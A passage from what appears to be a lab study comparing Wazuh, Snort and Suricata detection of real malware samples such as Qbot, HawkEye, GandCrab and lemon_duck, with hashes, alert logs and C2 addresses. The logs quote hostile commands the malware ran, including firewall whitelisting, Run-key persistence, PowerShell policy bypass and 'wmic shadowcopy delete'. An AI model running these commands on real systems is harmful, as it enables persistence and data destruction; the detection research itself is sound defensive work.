NOTE	After the reboot is seemed like windows crashed every 20 seconds, after the 'crash' Windows went back to the login screen.

Wazuh

Table 89. MW_22 Wazuh results

File	MW_22_HIDS_3.csv
Highest alert level	10
Malware specific alert	No
Malware detected	No

There were no alerts relating to the malware

6.2.13. ID_9 Backdoor (Backdoor.Bladabindi)

Table 90. MW_9 properties

ID	9
Name	Backdoor.Bladabindi
Firstsubmission	2019-08-26
Type	Win32 EXE
SHA256	a2dc89b1aa5e3b6ff023b87a45756f50c667d94e44fff760ddea39a2c07a100d
MD5	c2c057d9645af7f64e9d11672840828e
Virustotal	66/72
Category	Backdoor
Source	Virus Share

Results

Wazuh

Table 91. MW_ Wazuh results

Highest alert level	14
Malware specific alert	Yes

Malware detected	Yes

The first alert indicates that the malware has whitelisted it self in the firewall. Then started a flow of New RUN Key Pointing to Suspicious Folder, this did not stop. The rule triggered in 10 minutes 484 times. After the reboot whitelisted the malware itself again and started again with the flow of RUN keys

```
Level: 10
ATT&CK T1090: Netsh
Image: C:\Windows\SysWOW64\netsh.exe
CommandLine: netsh firewall add allowedprogram "C:\Users\John
Williams\AppData\Local\Temp\Trojan.exe" "Trojan.exe" ENABLE
CurrentDirectory: C:\Users\John Williams\Downloads\
ParentImage: C:\Users\JOHNWI~1\AppData\Local\Temp\Trojan.exe
ParentCommandLine: "C:\Users\JOHNWI~1\AppData\Local\Temp\Trojan.exe" "
```

```
Level: 14
ATT&CK T1060: New RUN Key Pointing to Suspicious Folder
"Registry value set:
RuleName: T1060,RunKey
EventType: SetValue
UtcTime: 2020-05-24 16:28:17.402
ProcessGuid: {df9fc3d3-9fd5-5eca-0000-00102b300b00}
ProcessId: 6484
Image: C:\Users\John Williams\AppData\Local\Temp\Trojan.exe
TargetObject: HKU\S-1-5-21-438079597-2123118846-2669748851-
1001\Software\Microsoft\Windows\CurrentVersion\Run\5cd8f17f4086744065eb0992a09e05a2
Details: "C:\Users\John Williams\AppData\Local\Temp\Trojan.exe" .."
```

6.3. Summary

Table 92. Summary Third Batch comparing to the second batch

Category:	Total	Wazuh 2.0 Detected	Wazuh 3.0 Detected
Backdoor	3	0	2
Spyware	3	0	1
Ransomware	4	1	3
Cryptominer	1	0	1
Adware	1	0	0
Rootkit	1	0	0

Table 93. Comparing HIDS 3.0 to the NIDS results

Category:	Total	Both Detected	Only NIDS	Only HIDS	None
Backdoor	3	0	1	2	0
Spyware	3	1	0	0	2
Ransomware	3	0	0	2	1
Cryptominer	1	1	0	0	0
Adware	1	0	1	0	0
Rootkit	1	0	0	0	1

7. Main Batch

7.1. Malware Samples Tested

7.1.1. ID_4 Backdoor (Trojan.DCRAT)

Table 94. MW_4 properties

ID	4
Name	Trojan.DCRAT
Firstsubmission	2020-05-13
Type	Win32 EXE
SHA256	e67ac2ffa5e650be9139de22f0e543f1e3c84823e86abd80135d6117b2bc8060
MD5	1e2611836860d60a2a6b4c560ef74650
Virustotal	48/72
Category	Backdoor
Source	ANY RUN

Results

Wazuh

Table 95. MW_4 Wazuh results

Highest alert level	14
Malware specific alert	Yes
Malware detected	Yes

There were no alerts before the reboot. But after the reboot is was clear, first the alert of a executable in a suspicious folder (also the name of a windows process) and subsequently 4 alerts of a network connection.

```
Level: 14
ATT&CK T1036: Execution in Non-Executable Folder
"Process Create:
Image: C:\Users\Public\Documents\wininit32.exe
CommandLine: C:\ProgramData\Documents\wininit32.exe
ParentImage: C:\Windows\System32\svchost.exe
ParentCommandLine: C:\Windows\system32\svchost.exe -k netsvcs -p"
```

```
Level: 14
ATT&CK: Suspicious Program Location with Network Connections
"Network connection detected:
Image: C:\Users\Public\Documents\wininit32.exe
Protocol: tcp
Initiated: true
SourceIp: 172.16.2.2
SourceHostname: DESKTOP-HUE026H.localdomain
SourcePort: 49715
DestinationIp: 91.240.87.131
DestinationHostname:
DestinationPort: 80
DestinationPortName: http"
```

```
Level: 14
ATT&CK: Suspicious Program Location with Network Connections
"Network connection detected:
Image: C:\Users\Public\Documents\wininit32.exe
Protocol: tcp
Initiated: true
SourceIp: 172.16.2.2
SourceHostname: DESKTOP-HUE026H.localdomain
SourcePort: 49717
DestinationIsIpv6: false
DestinationIp: 91.240.87.131
DestinationHostname: remindarb.fvds.ru
DestinationPort: 80
DestinationPortName: http"
```

Snort & Suricata

Table 96. MW_4 NIDS results

	Snort	Suricata
Highest alert level	2	2
Malware specific alert	Yes	Yes
Malware detected	No	No

Suricata and Snort only detected a `Possible External IP Lookup`, this is not enough to mark it as detected. The remarkable thing that Wazuh generated some alerts due network activity.

Snort Alert:

```
05/26-16:14:07.583782  [**] [1:2020716:2] ET POLICY Possible External IP Lookup
ipinfo.io [**] [Classification: Potential Corporate Privacy Violation] [Priority: 1]
{TCP} 172.16.2.2:49743 -> 216.239.38.21:80
```

Suricata Alert:

```
05/26/2020-16:14:07.747734  [**] [1:2020716:5] ET POLICY Possible External IP Lookup
ipinfo.io [**] [Classification: Device Retrieving External IP Address Detected]
[Priority: 2] {TCP} 172.16.2.2:49743 -> 216.239.38.21:80
```

7.1.2. ID_5 Backdoor (Trojan.Qbot)

Table 97. MW_5 properties

ID	5
Name	Trojan.Qbot
Firstsubmission	2020-05-28
Type	VBS
SHA256	2e57d9a80d45e2d78453c91829873260cdce4ac5f2cada73421a4a1faadbd445
MD5	1c347009d6fce779bca8385395f26f94
Virustotal	-
Category	Backdoor
Source	ANY RUN

Results

Wazuh

Table 98. MW_5 Wazuh results

Highest alert level	15
Malware specific alert	No
Malware detected	No

Wazuh generated a specif alert for Qbot followed by some lower alerts.

```
Level: 15
ATT&CK: QBot Process Creation
"Process Create:
Image: C:\Windows\SysWOW64\cmd.exe
OriginalFileName: Cmd.Exe
CommandLine: "C:\Windows\System32\cmd.exe"  /c ping.exe -n 6 127.0.0.1 &  type
"C:\Windows\System32\calc.exe" >
"C:\Users\JOHNWI~1\AppData\Local\Temp\PicturesViewer.exe"
ParentImage: C:\Users\JOHNWI~1\AppData\Local\Temp\PicturesViewer.exe
ParentCommandLine: C:\Users\JOHNWI~1\AppData\Local\Temp\PicturesViewer.exe"
```

```
Level: 8
ATT&CK: Quick Execution of a Series of Suspicious Commands
"Process Create:
Image: C:\Windows\SysWOW64\PING.EXE
OriginalFileName: ping.exe
CommandLine: ping.exe  -n 6 127.0.0.1
ParentCommandLine: "C:\Windows\System32\cmd.exe"  /c ping.exe -n 6 127.0.0.1 &  type
"C:\Windows\System32\calc.exe" >
"C:\Users\JOHNWI~1\AppData\Local\Temp\PicturesViewer.exe""
```

```
Level: 12
Sysmon - Suspicious Process - explorer.exe
Image: C:\Windows\SysWOW64\explorer.exe
CommandLine: C:\Windows\SysWOW64\explorer.exe
ParentImage: C:\Users\John Williams\AppData\Roaming\Microsoft\Eofgx\ywpeoq.exe
```

```
Level: 10
ATT&CK T1060: Autorun Keys Modification
RuleName: T1060,RunKey
EventType: SetValue
Image: C:\Windows\SysWOW64\explorer.exe
TargetObject: HKU\S-1-5-21-438079597-2123118846-2669748851-
1001\Software\Microsoft\Windows\CurrentVersion\Run\wrzaxthjp
Details: "C:\Users\John Williams\AppData\Roaming\Microsoft\Eofgx\ywpeoq.exe""
```

Snort & Suricata

Table 99. MW_5 NIDS results

	Snort	**Suricata**
Highest alert level	1	1
Malware specific alert	Semi	Semi
Malware detected	Yes	Yes

8 alerts were generated (Both 4) which indicated a .exe or .dll file download through HTTP.

Snort Alert:

```
05/28-09:54:16.334943  [**] [1:2014520:2] ET INFO EXE - Served Attached HTTP [**]
[Classification: Misc activity] [Priority: 3] {TCP} 5.23.52.122:80 -> 172.16.2.2:50126
```

```
05/28-09:54:18.723996  [**] [1:2018959:4] ET POLICY PE EXE or DLL Windows file
download HTTP [**] [Classification: Potential Corporate Privacy Violation] [Priority:
1] {TCP} 5.23.52.122:80 -> 172.16.2.2:50128
```

Suricata Alert:

```
05/28/2020-09:54:18.952366  [**] [1:2014520:6] ET INFO EXE - Served Attached HTTP [**]
[Classification: Misc activity] [Priority: 3] {TCP} 5.23.52.122:80 -> 172.16.2.2:50128
```

```
05/28/2020-09:54:18.952366  [**] [1:2018959:4] ET POLICY PE EXE or DLL Windows file
download HTTP [**] [Classification: Potential Corporate Privacy Violation] [Priority:
1] {TCP} 5.23.52.122:80 -> 172.16.2.2:50128
```

7.1.3. ID_6 Backdoor (Trojan.Agent.Zenpak)

Table 100. MW_ properties

ID	6
Name	Trojan.Agent.Zenpak
Firstsubmission	2019-04-24
Type	Backdoor
SHA256	ec6097c4fdbe0736e416b58be0a4dd042c46a9cf7eef997b3eb72384609cbca9
MD5	fbe6d341c1b69975be74616d01c6d273
Virustotal	58/72
Category	Backdoor
Source	VirusBay

Results

Wazuh

Table 101. MW_ Wazuh results

Highest alert level	10
Malware specific alert	No
Malware detected	No

2 alerts of (Direct) run key modification, not enough to mark the malware as detected.

```
Level: 10
ATT&CK T1060: Direct Autorun Keys Modification
"Process Create:
Image: C:\Windows\SysWOW64\reg.exe
CommandLine: REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User
Shell Folders" /f /v Startup /t REG_SZ /d C:\ProgramData\f64a428dfd
ParentImage: C:\ProgramData\f64a428dfd\cmualrc.exe
```

```
Level: 10
ATT&CK T1060: Autorun Keys Modification
"Registry value set:
RuleName: T1112,ChangeStartupFolderPath
EventType: SetValue
UtcTime: 2020-05-26 09:29:17.389
Image: C:\Windows\SysWOW64\REG.exe
TargetObject: HKU\S-1-5-21-438079597-2123118846-2669748851-
1001\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Startup
Details: C:\ProgramData\f64a428dfd"
```

Snort & Suricata

Table 102. MW_ NIDS results

	Snort	**Suricata**
Highest alert level	1	1
Malware specific alert	Semi	Semi
Malware detected	No	No

Snort and Suricata generated after the execution an alert of EXE or DLL download, the same 2 rules after the reboot. Not enough alerts to set detected to True, updates generates also this alert sometimes.

Snort Alert:

```
05/28-12:11:30.822840  [**] [1:2014520:2] ET INFO EXE - Served Attached HTTP [**]
[Classification: Misc activity] [Priority: 3] {TCP} 74.125.100.167:80 ->
172.16.2.2:50178
```

```
05/28-12:11:30.822840  [**] [1:2018959:4] ET POLICY PE EXE or DLL Windows file
download HTTP [**] [Classification: Potential Corporate Privacy Violation] [Priority:
1] {TCP} 74.125.100.167:80 -> 172.16.2.2:50178
```

Suricata Alert:

```
05/28/2020-12:11:37.037033  [**] [1:2018959:4] ET POLICY PE EXE or DLL Windows file
download HTTP [**] [Classification: Potential Corporate Privacy Violation] [Priority:
1] {TCP} 74.125.100.167:80 -> 172.16.2.2:50178
```

```
05/28/2020-12:11:37.037033  [**] [1:2014520:6] ET INFO EXE - Served Attached HTTP [**]
[Classification: Misc activity] [Priority: 3] {TCP} 74.125.100.167:80 ->
172.16.2.2:50178
```

7.1.4. ID_7 Backdoor (Shadowhammer)

Table 103. MW_ properties

ID	7
Name	Shadowhammer
Firstsubmission	2019-03-27
Type	application/x-rar
SHA256	03466caff060a816688eb35f10b9bf3b8d44c364fde620cbb4e2c0c23309df79
MD5	c09e41b3eb42eb79853de5bd1f5a5830
Virustotal	2/55
Category	Backdoor
Source	VirusBay

Results

Wazuh

Table 104. MW_ Wazuh results

Highest alert level	7
Malware specific alert	No
Malware detected	No

No malware related alert

Snort & Suricata

Table 105. MW_ NIDS results

	Snort	**Suricata**
Highest alert level	-	-
Malware specific alert	No	NO
Malware detected	No	No

No malware related alert

7.1.5. ID_8 Backdoor (Backdoor.AsyncRAT)

Table 106. MW_ properties

ID	8
Name	Backdoor.AsyncRAT
Firstsubmission	2019-08-12

Type	Win32 EXE
SHA256	041a4f5c60d5186913c46f9e0b246354f0944b03eb7d61325a60ae338faebbc8
MD5	9f16a651f918972eee7be4f19d40bb91
Virustotal	54/73
Category	Backdoor
Source	Virus Share

Results

Wazuh

Table 107. MW_ Wazuh results

Highest alert level	14
Malware specific alert	Yes
Malware detected	Yes

There was only 1 alert, indicating a Suspicious RUN Key from Download. It is not much but enough to alert a researcher.

```
Level: 14
ATT&CK T1060: Suspicious RUN Key from Download
"Registry value set:
RuleName: T1060,RunKey
EventType: SetValue
UtcTime: 2020-05-28 12:49:08.244
ProcessGuid: {df9fc3d3-b342-5ecf-0000-001018741400}
ProcessId: 6196
Image: C:\Users\John Williams\Downloads\program8.exe
TargetObject: HKU\S-1-5-21-438079597-2123118846-2669748851-
1001\Software\Microsoft\Windows\CurrentVersion\Run\Bкк.exe
Details: C:\Users\John Williams\AppData\Roaming\Bкк.exe"
```

Snort & Suricata

Table 108. MW_ NIDS results

	Snort	Suricata
Highest alert level	-	-
Malware specific alert	No	No
Malware detected	No	No

There were no malware relating alerts

7.1.6. ID_10 Spyware (TrojanSpy.Win32)

Table 109. MW_10 properties

ID	10
Name	TrojanSpy.Win32
Firstsubmission	2019-02-18
Type	Win32 EXE
SHA256	2016ce2662c71ee8d4e63d5282ffe0c860ba95d3e8cff98462a9fdbef5211f9a
MD5	19b11aa448409adc15c93e1fdd3c6774
Virustotal	60/69
Category	Spyware
Source	Virus Share

Results

Wazuh generated the event underneath, indicating that the sample is not working. This sample wont count in the results.

```
"Faulting application name: program10.exe, version: 0.0.0.0, time stamp: 0x5c699fd6
Faulting module name: program10.exe, version: 0.0.0.0, time stamp: 0x5c699fd6
Exception code: 0xc0000409
Fault offset: 0x0001e371
Faulting process id: 0x1c58
Faulting application start time: 0x01d634eea4866db6
Faulting application path: C:\Users\John Williams\Downloads\program10.exe
Faulting module path: C:\Users\John Williams\Downloads\program10.exe
Report Id: 61ab97db-9c6c-423f-be76-a3a39b51569e
Faulting package full name:
Faulting package-relative application ID: "
```

7.1.7. ID_11 Spyware (Trojan.Spyware)

Table 110. MW_11 properties

ID	11
Name	Trojan.Spyware
Firstsubmission	2019-10-14
Type	Win32 EXE
SHA256	e24e4cf5454cbc5026f1a47d083ab22d6b823190ab72866601bfba07d3f0abf6
MD5	40c0304b144736668ca2a0217d296c37

Virustotal	61/71
Category	Spyware
Source	VirusBay

Results

Wazuh

Table 111. MW_11 Wazuh results

Highest alert level	10
Malware specific alert	No
Malware detected	No

The alerts of setting a Run key of level 10, not enough to mark the malware as detected

```
Level: 10
ATT&CK T1060: Direct Autorun Keys Modification
"Process Create:
Image: C:\Windows\SysWOW64\reg.exe
CommandLine: REG  ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v
RESTART_STICKY_NOTESS /f /t  REG_SZ /d
"C:\Users\JOHNWI~1\AppData\Local\Temp\StikyNote.exe"
ParentImage: C:\Windows\SysWOW64\cmd.exe
ParentCommandLine: "C:\Windows\System32\cmd.exe" /c REG ADD
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v RESTART_STICKY_NOTESS /f /t
REG_SZ /d "C:\Users\JOHNWI~1\AppData\Local\Temp\StikyNote.exe""
```

```
Level: 10
ATT&CK T1060: Autorun Keys Modification
"Registry value set:
RuleName: T1060,RunKey
EventType: SetValue
Image: C:\Windows\SysWOW64\reg.exe
TargetObject: HKU\S-1-5-21-438079597-2123118846-2669748851-
1001\Software\Microsoft\Windows\CurrentVersion\Run\RESTART_STICKY_NOTESS
Details: C:\Users\JOHNWI~1\AppData\Local\Temp\StikyNote.exe"
```

Snort & Suricata

Table 112. MW_11 NIDS results

	Snort	**Suricata**
Highest alert level	1	1
Malware specific alert	Yes	Yes
Malware detected	Yes	Yes

Soon after the execution there was a stream of the same Priority 1 alerts, it continued after the reboot. A total of 158 alerts were generated in 10 minutes.

Snort Alert:

```
05/28-13:24:27.783879  [**] [1:2808510:3] ETPRO TROJAN StoneDrill Wiper Checkin 2 [**]
[Classification: A Network Trojan was detected] [Priority: 1] {TCP} 172.16.2.2:49730
-> 58.158.177.102:80
```

Suricata Alert:

```
05/28/2020-13:24:28.152599  [**] [1:2808510:5] ETPRO MALWARE StoneDrill Wiper Checkin
2 [**] [Classification: Malware Command and Control Activity Detected] [Priority: 1]
{TCP} 172.16.2.2:49730 -> 58.158.177.102:80
```

7.1.8. ID_12 Spyware (HTML.SpyAgent)

Table 113. MW_ properties

ID	12
Name	HTML.SpyAgent
Firstsubmission	2020-02-10
Type	html
SHA256	fb0771b8040167e4b9510fe044a2357a0f4adc54f3bc5ab7a40cbae7ebd81d62
MD5	3b926d275ef56bb063d1e37042f211a3
Virustotal	Virus Share
Category	30/60
Source	Spyware

The 'malware' was a HTML document loading a page of 'schornsteinboerse.com', but it dit not try to downlaod a file or affect the host system.

Results

Wazuh

Table 114. MW_12 Wazuh results

Highest alert level	-
Malware specific alert	No
Malware detected	No

Wazuh did not detect any relating alert, because it did not affect the host system, Wazuh did not

detect anything.

Snort & Suricata

Table 115. MW_12 NIDS results

	Snort	Suricata
Highest alert level	1	1
Malware specific alert	Yes	Yes
Malware detected	Yes	Yes

Snort and Suricata generated several alert indicating the malicious website.

Snort Alert:

```
05/28-13:39:39.127491  [**] [1:2029205:2] ET TROJAN Malicious SSL Cert (Magecart) [**]
[Classification: A Network Trojan was detected] [Priority: 1] {TCP} 37.46.135.58:443
-> 172.16.2.2:50204
```

```
05/28-13:39:59.632140  [**] [1:2029204:2] ET TROJAN Observed Magecart CnC Domain in
TLS SNI [**] [Classification: A Network Trojan was detected] [Priority: 1] {TCP}
172.16.2.2:50208 -> 37.46.135.58:443
```

```
05/28-13:41:12.093049  [**] [1:2023883:2] ET DNS Query to a *.top domain - Likely
Hostile [**] [Classification: Potentially Bad Traffic] [Priority: 2] {UDP}
172.16.2.2:61462 -> 172.16.2.1:53
```

Suricata Alert:

```
05/28/2020-13:39:39.265263  [**] [1:2029205:1] ET MALWARE Malicious SSL Cert
(Magecart) [**] [Classification: A Network Trojan was detected] [Priority: 1] {TCP}
37.46.135.58:443 -> 172.16.2.2:50204
```

```
05/28/2020-13:39:59.745908  [**] [1:2029204:1] ET MALWARE Observed Magecart CnC Domain
in TLS SNI [**] [Classification: A Network Trojan was detected] [Priority: 1] {TCP}
172.16.2.2:50208 -> 37.46.135.58:443
```

```
05/28/2020-13:41:12.093049  [**] [1:2023883:3] ET DNS Query to a *.top domain - Likely
Hostile [**] [Classification: Potentially Bad Traffic] [Priority: 2] {UDP}
172.16.2.2:61462 -> 172.16.2.1:53
```

7.1.9. ID_13 Spyware (Keylogger.HawkEye)

Table 116. MW_13 properties

ID	13
Name	Keylogger.HawkEye
Firstsubmission	2020-01-30
Type	Win32 EXE
SHA256	b008c96b1ba6c13c4e922202baad57e199d9dee32a97a1443548c8a0ca303492
MD5	8d897a409a231c4bdb21ac3bcf9118b1
Virustotal	47/72
Category	Spyware
Source	VirusBay

Results

Wazuh

Table 117. MW_13 Wazuh results

Highest alert level	14
Malware specific alert	Yes
Malware detected	Yes

3 alerts fired a couple of times with a highest level of 14. These combined gives a very well indication of a malware execution.

```
Level: 14
ATT&CK T1500: Suspicious Csc.exe Source File Folder
"Process Create:
Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
FileVersion: 4.8.3752.0 built by: NET48REL1
Description: Visual C# Command Line Compiler
Product: Microsoft® .NET Framework
Company: Microsoft Corporation
OriginalFileName: csc.exe
CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig
/fullpaths @"C:\Users\John Williams\AppData\Local\Temp\1jrzz2r0.cmdline"
CurrentDirectory: C:\Users\John Williams\AppData\Local\Temp\IXP000.TMP\
ParentImage: C:\Users\JOHNWI~1\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
ParentCommandLine:
C:\Users\JOHNWI~1\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
```

```
Level: 10
ATT&CK T1060: Autorun Keys Modification
"Registry value set:
RuleName: T1060,RunKey
EventType: SetValue
Image: C:\Users\JOHNWI~1\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
TargetObject: HKU\S-1-5-21-438079597-2123118846-2669748851-
1001\Software\Microsoft\Windows\CurrentVersion\Run\None
Details: C:\Users\John Williams\AppData\Roaming\invoice"
```

```
Level: 8
ATT&CK T1118 T1121 T1127 T1170: Possible Applocker Bypass
    "Process Create:
RuleName:
Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
CurrentDirectory: C:\Users\JOHNWI~1\AppData\Local\Temp\IXP000.TMP\
ParentImage: C:\Users\JOHNWI~1\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
ParentCommandLine:
C:\Users\JOHNWI~1\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
```

Snort & Suricata

Table 118. MW_13 NIDS results

	Snort	**Suricata**
Highest alert level	1	1
Malware specific alert	Yes	Yes
Malware detected	Yes	Yes

2 very specific alerts were generated a couple of times indicating the HawkEye Trojan.

Snort Alert:

```
05/29-11:22:40.199972  [**] [1:2809235:2] ETPRO TROJAN Blaknight.A/HawkEye
Connectivity Check [**] [Classification: A Network Trojan was detected] [Priority: 1]
{TCP} 172.16.2.2:50030 -> 66.171.248.178:80
```

```
05/29-11:22:41.134806  [**] [1:2805815:3] ETPRO POLICY IP Check Domain
(whatismyipaddress .com in HTTP Host) [**] [Classification: Potential Corporate
Privacy Violation] [Priority: 1] {TCP} 172.16.2.2:50031 -> 66.171.248.178:80
```

Suricata Alert:

```
05/29/2020-11:22:41.305094  [**] [1:2809235:4] ETPRO MALWARE Blaknight.A/HawkEye
Connectivity Check [**] [Classification: A Network Trojan was detected] [Priority: 1]
{TCP} 172.16.2.2:50031 -> 66.171.248.178:80
```

```
05/29/2020-11:22:41.305094  [**] [1:2805815:6] ETPRO POLICY IP Check Domain
(whatismyipaddress .com in HTTP Host) [**] [Classification: Potential Corporate
Privacy Violation] [Priority: 1] {TCP} 172.16.2.2:50031 -> 66.171.248.178:80
```

7.1.10. ID_23 Ransomware (Ransom.GandCrab)

Table 119. MW_23 properties

ID	23
Name	Ransom.GandCrab
Firstsubmission	2020-05-18
Type	Win32 Exe
SHA256	e94f7acb84d2b58a3019627ca866d1424f4d35520eb0da2fe33c1204b51545f2
MD5	d543a6c58e8e92d0b2f33abb270a4c3d
Virustotal	36/72
Category	Ransomware
Source	ANY RUN

NOTE All files were encrypted in 2 min, really fast!

Results

Wazuh

Table 120. MW_23 Wazuh results

Highest alert level	15
Malware specific alert	Yes
Malware detected	Yes

Only one alert got generated by Wazuh, still a level 15 alert.

```
Level: 15
ATT&CK T1204: Maze Ransomware
"Process Create:
Image: C:\Windows\SysWOW64\wbem\WMIC.exe
OriginalFileName: wmic.exe
CommandLine: "C:\Windows\system32\wbem\wmic.exe" shadowcopy delete
ParentImage: C:\Users\John Williams\AppData\Local\Temp\gft.exe
ParentCommandLine: "C:\Users\John Williams\AppData\Local\Temp\gft.exe" "
```

Snort & Suricata

Table 121. MW_23 NIDS results

	Snort	**Suricata**
Highest alert level	1	1
Malware specific alert	Yes	Yes
Malware detected	Yes	Yes

For the first time in this research detect the NIDS a ransomware. Both generated a very specific alert indicating the GandCrab Ransomware.

Snort Alert:

```
05/29-12:28:43.539075  [**] [1:2025638:4] ET TROJAN [eSentire] Win32/GandCrab v4/5
Ransomware CnC Activity [**] [Classification: A Network Trojan was detected]
[Priority: 1] {TCP} 172.16.2.2:49984 -> 92.53.96.201:80
```

```
05/29-12:28:43.539075  [**] [1:2010067:9] ET POLICY Data POST to an image file (jpg)
[**] [Classification: A Network Trojan was detected] [Priority: 1] {TCP}
172.16.2.2:49984 -> 92.53.96.201:80
```

Suricata Alert:

```
05/29/2020-12:28:43.699392  [**] [1:2025638:3] ET MALWARE [eSentire] Win32/GandCrab
v4/5 Ransomware CnC Activity [**] [Classification: Malware Command and Control
Activity Detected] [Priority: 1] {TCP} 172.16.2.2:49984 -> 92.53.96.201:80
```

```
05/29/2020-12:28:43.699392  [**] [1:2010067:10] ET POLICY Data POST to an image file
(jpg) [**] [Classification: A Network Trojan was detected] [Priority: 1] {TCP}
172.16.2.2:49984 -> 92.53.96.201:80
```

7.1.11. ID_24 Cryptominer (Miner.XMRig)

Table 122. MW_ properties

ID	
Name	Miner.XMRig
Firstsubmission	2019-08-24
Type	Win32 EXE
SHA256	9194b57673209c8534888f61b0cdefa34f463ae50cd78f72ab2b3348220baaf9
MD5	5616a3471565d34d779b5b3d0520bb70
Virustotal	56/71
Category	Cryptominer
Source	ANY RUN

NOTE We double checked in the EventViewer if the malware did some actions, it did

Results

Wazuh

Table 123. MW_24 Wazuh results

Highest alert level	7
Malware specific alert	No
Malware detected	No

No malware relating alert.

Snort & Suricata

Table 124. MW_24 NIDS results

	Snort	**Suricata**
Highest alert level	3	3
Malware specific alert	Yes	Yes
Malware detected	No	No

Only Snort generated 1 level 3 alert, not enough to mark the malware as detected.

Snort Alert:

```
05/29-13:10:54.291134  [**] [1:2014819:1] ET INFO Packed Executable Download [**]
[Classification: Misc activity] [Priority: 3] {TCP} 173.194.144.25:80 ->
172.16.2.2:49692
```

Suricata Alert:

```
```

7.1.12. ID_25 Cryptominer (Miner.lemon_duck)

Table 125. MW_25 properties

ID	15
Name	Miner.lemon_duck
Firstsubmission	2020-05-25
Type	ps1
SHA256	2520779dbaa8eebfde61aa4193bf75a44a89f8a7a8dcce12072f7fea1956b53d
MD5	28b80843b13fab0986479b54310c8053
Virustotal	-
Category	Cryptominer
Source	ANY RUN

Results

Wazuh

Table 126. MW_25 Wazuh results

Highest alert level	14
Malware specific alert	Yes
Malware detected	Yes

It was a stream of alerts, a total of 1015 alerts were generated in 10 minutes. A clear detection of the miner.

```
Level: 14
ATT&CK T1500: Suspicious Csc.exe Source File Folder
"Process Create:
RuleName:
Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig
/fullpaths @"C:\Users\John Williams\AppData\Local\Temp\ee4f5jeg.cmdline"
CurrentDirectory: C:\Users\John Williams\Downloads\
ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "-
Command" "if((Get-ExecutionPolicy ) -ne 'AllSigned') { Set-ExecutionPolicy -Scope
Process Bypass }; & 'C:\Users\John Williams\Downloads\program25.ps1
```

```
Level: 10
ATT&CK T1086: Non Interactive PowerShell
"Process Create:
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1
-s -NoLogo -NoProfile
ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "-
Command" "if((Get-ExecutionPolicy ) -ne 'AllSigned') { Set-ExecutionPolicy -Scope
Process Bypass }; & 'C:\Users\John Williams\Downloads\program25.ps1'"
```

```
Level: 8
ATT&CK T1086: PowerShell Network Connections
"Network connection detected:
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Protocol: tcp
Initiated: true
SourceIsIpv6: false
SourceIp: 172.16.2.2
SourceHostname: DESKTOP-HUE026H.localdomain
SourcePort: 49973
DestinationIsIpv6: false
DestinationIp: 167.99.154.202
DestinationPort: 80
DestinationPortName: http"
```

just a few of the many:

```
Level: 14
ATT&CK T1064: Windows Shell Spawning Suspicious Program
"Process Create:
Image: C:\Windows\System32\schtasks.exe
CommandLine: "C:\Windows\system32\schtasks.exe" /Delete /TN "Oracle Java Update" /F
ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
-Version 5.1 -s -NoLogo -NoProfile"
```

```
Level: 8
ATT&CK T1489: Stop Windows Service
CommandLine: "C:\Windows\system32\sc.exe" Stop WinHasdadelp32
```

```
Level: 8
ATT&CK: Quick Execution of a Series of Suspicious Commands
CommandLine: "C:\Windows\system32\sc.exe" Config SuperProServer Start= Disabled
```

Table 127. MW_25 NIDS results

	Snort	Suricata
Highest alert level	1	1
Malware specific alert	Yes	Yes
Malware detected	Yes	Yes

There were not only alerts of a trojan detected but also some indicating a network scan.

NOTE	Remarkably, Snort generated 2 more alerts (Level 1 and 3) indicating a Windows Trojan and fast terminal server traffic

Snort Alert:

```
05/29-14:18:02.035227  [**] [1:2029538:2] ET POLICY EXE Base64 Encoded potential
malware [**] [Classification: Misc activity] [Priority: 3] {TCP} 167.99.154.202:80 ->
172.16.2.2:49973
```

```
05/29-14:18:02.035227  [**] [1:2018856:11] ET TROJAN Windows executable base64 encoded
[**] [Classification: A Network Trojan was detected] [Priority: 1] {TCP}
167.99.154.202:80 -> 172.16.2.2:49973
```

```
05/29-14:18:38.793907  [**] [1:2831048:2] ETPRO POLICY Observed SSL Cert (IP Lookup -
ipify .org) [**] [Classification: Potential Corporate Privacy Violation] [Priority: 1]
{TCP} 50.19.115.217:443 -> 172.16.2.2:50014
```

```
05/29-14:19:16.499697  [**] [1:2001569:14] ET SCAN Behavioral Unusual Port 445 traffic
Potential Scan or Infection [**] [Classification: Misc activity] [Priority: 3] {TCP}
172.16.2.2:51627 -> 10.100.101.69:445
```

```
05/29-14:19:19.961586  [**] [1:2001583:15] ET SCAN Behavioral Unusual Port 1433
traffic Potential Scan or Infection [**] [Classification: Misc activity] [Priority: 3]
{TCP} 172.16.2.2:51854 -> 10.100.101.39:1433
```

```
05/29-14:19:23.650895  [**] [1:2013479:4] ET SCAN Behavioral Unusually fast Terminal
Server Traffic Potential Scan or Infection (Outbound) [**] [Classification: Misc
